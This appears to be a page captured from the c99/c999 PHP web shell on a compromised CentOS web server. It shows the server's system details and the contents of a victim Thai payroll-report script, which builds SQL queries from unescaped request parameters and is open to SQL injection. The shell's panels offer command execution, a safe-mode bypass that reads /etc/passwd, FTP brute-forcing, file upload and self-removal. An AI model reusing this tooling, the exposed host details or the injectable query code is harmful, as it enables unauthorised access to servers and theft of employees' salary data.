!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage/director/   drwxr-xr-x
Free 52.62 GB of 127.8 GB (41.17%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     ExcelPtyeMoney.php (43.92 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
";
		echo "


กรุณาทำการ Login ก่อน

"; echo ""; exit(); } else { /** Configuration */ header('Content-type: application/xls'); header('Content-Disposition: attachment; filename="Report.xls"'); require_once( "../configuration.php" ); require_once( $_Config_absolute_path . "/includes/framework.php" ); require_once("../include/Function.php"); /** Create Database Object */ $dbObj = new DBConn; /** Config Table for This Page */ $myTable = "salary_repot_tb"; $myTableFK = "Start_year , Start_mont"; /** Paging */ $page = $_GET['page']; if( $page == "" ) { $page = 1; } /** จำนวนข้อมูล ต่อ 1 หน้า */ $perpage = $_REQUEST['perpage']; if( $perpage == "" ) { $perpage = 500; } /** Searching */ $keyword = $_REQUEST['keyword']; } # else ?> MIS -- Administrator
execQuery($query); $numrows = $dbObj->_numrows; /** Paging */ $display = ( !isset ($_GET['page']) ) ? 1 : $_GET['page']; $start = ( ($display * $limit) - $limit ); /** Paging */ //### Search if( $keyword != "" ) { if( isset($_GET['OrderBy']) ) { $query = "SELECT * FROM $myTable WHERE StatusId='1' and Start_year='$Start_year' and Start_mont='$Start_mont' and Person_type='$Ptype_code' "; } elseif( !isset($_GET['OrderBy']) ) { $query = "SELECT * FROM $myTable WHERE StatusId='1' and Start_year='$Start_year' and Start_mont='$Start_mont' and Person_type='$Ptype_code' "; } } else { if( isset($_GET['OrderBy']) ) { $query = "SELECT * FROM $myTable WHERE StatusId='1' and Start_year='$Start_year' and Start_mont='$Start_mont' and Person_type='$Ptype_code' "; } elseif( !isset($_GET['OrderBy']) ) { $query = "SELECT * FROM $myTable WHERE StatusId='1' and Start_year='$Start_year' and Start_mont='$Start_mont' and Person_type='$Ptype_code' "; } } $query .= " LIMIT $start, $limit "; //echo $query; $result = $dbObj->execQuery($query); ?>
เดือน 0 ) { ?> fetchArray($result)){ $bgColor = ( $bgColor == "#FFFFFF" ) ? "#F9FBFB" : "#FFFFFF"; if( $keyword != "" ) { $url = eregi_replace( $keyword, "\\0", $rs->url ); $description = eregi_replace( $keyword, "\\0", $rs->description ); } else { $url = $rs->url; $description = $rs->description; } ?> freeresult($result); ?>
No ชื่อเงินเดือนเงินเดือน เงินเดือน รวมรายรับ รวมรายจ่าย คงเหลือเงินสุทธิ
รวมเงิน execQuery($query6); //echo $query6; while( $rs6 = $dbObj->fetchArray($result6) ) { $Sum += $rs6['Salary_1']; //echo "Sum3 = ". $Sum3; //echo "
"; } $dbObj->freeresult($rs6); echo "". number_format($Sum,2,'.',',') .""; ?>
execQuery($query6); //echo $query6; while( $rs6 = $dbObj->fetchArray($result6) ) { $Sum1 += $rs6['Costt_1']; //echo "Sum3 = ". $Sum3; //echo "
"; } $dbObj->freeresult($rs6); echo "". number_format($Sum1,2,'.',',') .""; ?>
execQuery($query6); //echo $query6; while( $rs6 = $dbObj->fetchArray($result6) ) { $Sum2 += $rs6['Costt_2']; //echo "Sum3 = ". $Sum3; //echo "
"; } $dbObj->freeresult($rs6); echo "". number_format($Sum2,2,'.',',') .""; ?>
execQuery($query); //echo $query6; while( $rss = $dbObj->fetchArray($result) ) { $Sum3 += $rss['Costt_3']; //echo "Sum3 = ". $Sum3; //echo "
"; } $dbObj->freeresult($rss); echo "". number_format($Sum3,2,'.',',') .""; ?>
execQuery($query); //echo $query6; while( $rss = $dbObj->fetchArray($result) ) { $Sum4 += $rss['Costt_4']; //echo "Sum3 = ". $Sum3; //echo "
"; } $dbObj->freeresult($rss); echo "". number_format($Sum4,2,'.',',') .""; ?>
execQuery($query); //echo $query6; while( $rss = $dbObj->fetchArray($result) ) { $Sum5 += $rss['Costt_5']; //echo "Sum3 = ". $Sum3; //echo "
"; } $dbObj->freeresult($rss); echo "". number_format($Sum5,2,'.',',') .""; ?>
execQuery($query); //echo $query6; while( $rss = $dbObj->fetchArray($result) ) { $Sum6 += $rss['Costt_6']; //echo "Sum3 = ". $Sum3; //echo "
"; } $dbObj->freeresult($rss); echo "". number_format($Sum6,2,'.',',') .""; ?>
execQuery($query); //echo $query6; while( $rss = $dbObj->fetchArray($result) ) { $Sum7 += $rss['Costt_7']; //echo "Sum3 = ". $Sum3; //echo "
"; } $dbObj->freeresult($rss); echo "". number_format($Sum7,2,'.',',') .""; ?>
execQuery($query); //echo $query6; while( $rss = $dbObj->fetchArray($result) ) { $Sum8 += $rss['Costt_8']; //echo "Sum3 = ". $Sum3; //echo "
"; } $dbObj->freeresult($rss); echo "". number_format($Sum8,2,'.',',') .""; ?>
execQuery($query); //echo $query6; while( $rss = $dbObj->fetchArray($result) ) { $Sum9 += $rss['Costt_9']; //echo "Sum3 = ". $Sum3; //echo "
"; } $dbObj->freeresult($rss); echo "". number_format($Sum9,2,'.',',') .""; ?>
execQuery($query); //echo $query6; while( $rss = $dbObj->fetchArray($result) ) { $Sum10 += $rss['Costt_10']; //echo "Sum3 = ". $Sum3; //echo "
"; } $dbObj->freeresult($rss); echo "". number_format($Sum10,2,'.',',') .""; ?>
execQuery($query); //echo $query6; while( $rss = $dbObj->fetchArray($result) ) { $Sum11 += $rss['Costt_11']; //echo "Sum3 = ". $Sum3; //echo "
"; } $dbObj->freeresult($rss); echo "". number_format($Sum11,2,'.',',') .""; ?>
execQuery($query); //echo $query6; while( $rss = $dbObj->fetchArray($result) ) { $Sum12 += $rss['Costt_12']; //echo "Sum3 = ". $Sum3; //echo "
"; } $dbObj->freeresult($rss); echo "". number_format($Sum12,2,'.',',') .""; ?>
execQuery($query); //echo $query6; while( $rss = $dbObj->fetchArray($result) ) { $Sum13+= $rss['Costt_13']; //echo "Sum3 = ". $Sum3; //echo "
"; } $dbObj->freeresult($rss); echo "". number_format($Sum13,2,'.',',') .""; ?>
execQuery($query); //echo $query6; while( $rss = $dbObj->fetchArray($result) ) { $Sum14 += $rss['Costt_14']; //echo "Sum3 = ". $Sum3; //echo "
"; } $dbObj->freeresult($rss); echo "". number_format($Sum14,2,'.',',') .""; ?>
execQuery($query); //echo $query6; while( $rss = $dbObj->fetchArray($result) ) { $Sum15 += $rss['Costt_15']; //echo "Sum3 = ". $Sum3; //echo "
"; } $dbObj->freeresult($rss); echo "". number_format($Sum15,2,'.',',') .""; ?>
execQuery($query6); while( $rs6 = $dbObj->fetchArray($result6) ) { $Sum2 += $rs6['Costt_salary']; } $dbObj->freeresult($rs6); echo "". number_format($Sum2,2,'.',',') .""; ?> execQuery($query); //echo $query6; while( $rss = $dbObj->fetchArray($result) ) { $Sum16 += $rss['Costt_16']; //echo "Sum3 = ". $Sum3; //echo "
"; } $dbObj->freeresult($rss); echo "". number_format($Sum16,2,'.',',') .""; ?>
execQuery($query); //echo $query6; while( $rss = $dbObj->fetchArray($result) ) { $Sum17 += $rss['Costt_17']; //echo "Sum3 = ". $Sum3; //echo "
"; } $dbObj->freeresult($rss); echo "". number_format($Sum17,2,'.',',') .""; ?>
execQuery($query); //echo $query6; while( $rss = $dbObj->fetchArray($result) ) { $Sum18 += $rss['Costt_18']; //echo "Sum3 = ". $Sum3; //echo "
"; } $dbObj->freeresult($rss); echo "". number_format($Sum18,2,'.',',') .""; ?>
execQuery($query); //echo $query6; while( $rss = $dbObj->fetchArray($result) ) { $Sum19 += $rss['Costt_19']; //echo "Sum3 = ". $Sum3; //echo "
"; } $dbObj->freeresult($rss); echo "". number_format($Sum19,2,'.',',') .""; ?>
execQuery($query); //echo $query6; while( $rss = $dbObj->fetchArray($result) ) { $Sum20 += $rss['Costt_20']; //echo "Sum3 = ". $Sum3; //echo "
"; } $dbObj->freeresult($rss); echo "". number_format($Sum20,2,'.',',') .""; ?>
execQuery($query); //echo $query6; while( $rss = $dbObj->fetchArray($result) ) { $Sum21 += $rss['Costt_21']; //echo "Sum3 = ". $Sum3; //echo "
"; } $dbObj->freeresult($rss); echo "". number_format($Sum21,2,'.',',') .""; ?>
execQuery($query); //echo $query6; while( $rss = $dbObj->fetchArray($result) ) { $Sum22 += $rss['Costt_22']; //echo "Sum3 = ". $Sum3; //echo "
"; } $dbObj->freeresult($rss); echo "". number_format($Sum22,2,'.',',') .""; ?>
execQuery($query); //echo $query6; while( $rss = $dbObj->fetchArray($result) ) { $Sum23 += $rss['Costt_23']; //echo "Sum3 = ". $Sum3; //echo "
"; } $dbObj->freeresult($rss); echo "". number_format($Sum23,2,'.',',') .""; ?>
execQuery($query); //echo $query6; while( $rss = $dbObj->fetchArray($result) ) { $Sum24 += $rss['Costt_24']; //echo "Sum3 = ". $Sum3; //echo "
"; } $dbObj->freeresult($rss); echo "". number_format($Sum24,2,'.',',') .""; ?>
execQuery($query); //echo $query6; while( $rss = $dbObj->fetchArray($result) ) { $Sum25 += $rss['Costt_25']; //echo "Sum3 = ". $Sum3; //echo "
"; } $dbObj->freeresult($rss); echo "". number_format($Sum25,2,'.',',') .""; ?>
execQuery($query); //echo $query6; while( $rss = $dbObj->fetchArray($result) ) { $Sum26 += $rss['Costt_26']; //echo "Sum3 = ". $Sum3; //echo "
"; } $dbObj->freeresult($rss); echo "". number_format($Sum26,2,'.',',') .""; ?>
execQuery($query); //echo $query6; while( $rss = $dbObj->fetchArray($result) ) { $Sum27 += $rss['Costt_27']; //echo "Sum3 = ". $Sum3; //echo "
"; } $dbObj->freeresult($rss); echo "". number_format($Sum27,2,'.',',') .""; ?>
execQuery($query); //echo $query6; while( $rss = $dbObj->fetchArray($result) ) { $Sum28 += $rss['Costt_28']; //echo "Sum3 = ". $Sum3; //echo "
"; } $dbObj->freeresult($rss); echo "". number_format($Sum28,2,'.',',') .""; ?>
execQuery($query); //echo $query6; while( $rss = $dbObj->fetchArray($result) ) { $Sum29 += $rss['Costt_29']; //echo "Sum3 = ". $Sum3; //echo "
"; } $dbObj->freeresult($rss); echo "". number_format($Sum29,2,'.',',') .""; ?>
execQuery($query); //echo $query6; while( $rss = $dbObj->fetchArray($result) ) { $Sum30 += $rss['Costt_30']; //echo "Sum3 = ". $Sum3; //echo "
"; } $dbObj->freeresult($rss); echo "". number_format($Sum30,2,'.',',') .""; ?>
execQuery($query); while( $rss = $dbObj->fetchArray($result) ) { $Sum31 += $rss['Costt_to']; } $dbObj->freeresult($rss); echo "". number_format($Sum31,2,'.',',') .""; ?> execQuery($query6); while( $rs6 = $dbObj->fetchArray($result6) ) { $Sum32 += $rs6['Costt_total']; } $dbObj->freeresult($rs6); echo "". number_format($Sum32,2,'.',',') .""; ?>
0 ) ?>
disconn(); /** Unset Class */ unset($dbObj); ?>
bool(false)

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0063 ]--